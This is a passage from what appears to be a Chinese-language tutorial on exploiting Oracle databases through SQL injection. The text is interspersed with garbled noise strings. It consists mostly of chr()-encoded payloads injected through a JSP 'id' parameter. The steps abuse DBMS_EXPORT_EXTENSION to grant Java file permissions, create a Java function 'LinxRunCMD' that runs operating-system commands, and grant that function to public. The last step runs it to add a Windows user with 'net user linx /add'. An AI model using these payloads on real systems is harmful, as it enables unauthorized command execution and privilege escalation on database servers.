chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||
6 V7 d) a% N8 a# V7 i( d! {6 Tchr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||
8 I( p: _/ f4 }+ m2 Lchr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||
4 u+ n( r7 U7 G! ]4 i  k; cchr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
5 D% L* P- q- ^% B" I9 Y: ^1 x,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
' u+ o8 F6 w  E& m" Z0 ]/ p: q; }
2 D% k3 \. J0 ~)
! _, @: t, F5 T6 ?
; Z( p5 n' b2 `; L- f5 S------------------------------1 [# Q/ O4 C0 q
5 ?( ?, [( e2 k  v# k
2.赋Java权限
3 F/ d( M; o& f9 W4 M  j/xxx.jsp?id=1 and chr(49)<>chr(50)||(
. m3 O0 m  @; o, [1 g5 r
( z! G; [# T* E! l) f# u! Q7 Xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),0 w/ _7 L0 @' D8 u0 {) @% d
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||6 M" b* H4 O% i8 e( h4 g# p4 D/ M
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||+ A5 H4 T2 a" J% g2 U
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||) A! A/ S. r; n: B
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||( G: u' F& v+ J. v- r0 j: t
chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||# Q/ O3 b4 E, d, p& B
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||* X+ U7 K) X. C/ G
chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||
+ c3 a  |( k1 W. I* N! a; H. lchr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||
5 J5 w; t; W) o" x' P5 R+ l1 Xchr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
# x& P) E! i( h/ W,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
8 ]- s: P8 m# c3 ^5 c! n& z- r$ [6 a2 [2 W4 c9 o* @) x5 P" g
)
$ M* I: S' i6 l/ g
! K. D; C0 x) u1 Kreadfile函数的ascii版就不写了,见谅。- d8 T  P3 A0 d7 T# l& K

, d# P' }0 a7 ^% n8 x3.创建函数8 p) q2 ]  O6 G) g- N/ q

8 W: C+ e# u+ e2 gselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
3 U5 {( W- u; i( Q" F6 M) J& lchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
$ M1 P( I7 c$ p' B8 @9 ^% Q. p. Lchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
6 r% [) Y: t1 {+ r* o5 N6 B1 Achr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||0 W' ^4 V3 y) T2 S, P
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||3 K+ j# b% g/ w4 ^
chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||
4 ?6 A9 @& B7 F( x( g& f$ Cchr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||, x6 E0 H* ~# d/ u
chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
- f: b5 f  ]' S& v/ o: H- Xchr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
  C/ h. s8 I' w. p% A0 cchr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
% p8 y! V. J9 p1 u5 echr(59)||chr(45)||chr(45)
0 X! L6 E% }) D, E( r  }) r,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual* s+ @- S/ t5 J1 `& L1 F) v1 k- [
/ C# v; f0 ?- A6 z; @2 r

& a$ x. ^( c( j! r' f! K* G& C! ~5 z6 d5 c4 _' M# r4 L! }1 w
4.赋public执行函数的权限
0 z$ s  Y" e! d  q+ ^2 N
8 X# L6 h" u1 z+ Mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
' G+ w1 R8 t1 L! V/ ]/ E. F( [chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
- R- Z- w# @5 _6 i& Xchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||' z& x* C8 u! V' C1 o
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||& Q. M3 u$ T5 J5 V  ?1 K
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
+ I' g. Z, E* U" p% m3 Y: bchr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||0 z- @3 }3 N, V3 `1 Y
chr(59)||chr(45)||chr(45); L' m  c# ?1 M( d$ M( t% `6 F9 M! o
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
/ F5 R' `, f9 K4 {* p7 H, e0 Q5 \! I; G1 k( n
# r' a$ C7 }' u6 T
& B6 C( y; K4 J7 u- u
5.执行命令:  R6 i' H) `  v9 }/ v+ p
$ p. o. t& Y7 q3 {5 g
/xxx.jsp?id=1 and chr(49)<>chr(32)||(: d! F+ {6 i9 b) B- z- Y9 m# X6 k
select sys.LinxRunCMD('cmd /c net user linx /add') from dual) |* M! g5 W% C0 S+ {
)' `8 M+ p) ]  ~* T! O( o# O' M
; D7 F" s- n: H; \7 H7 V' }
3 ~/ S- G: @  Y$ n9 r
/xxx.jsp?id=1 and chr(49)<>chr(32)||(# ]; `5 Z) v% M. l1 `
select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual" |+ f( J: R2 j4 H) _/ h
)  U8 \' O( I  C, p
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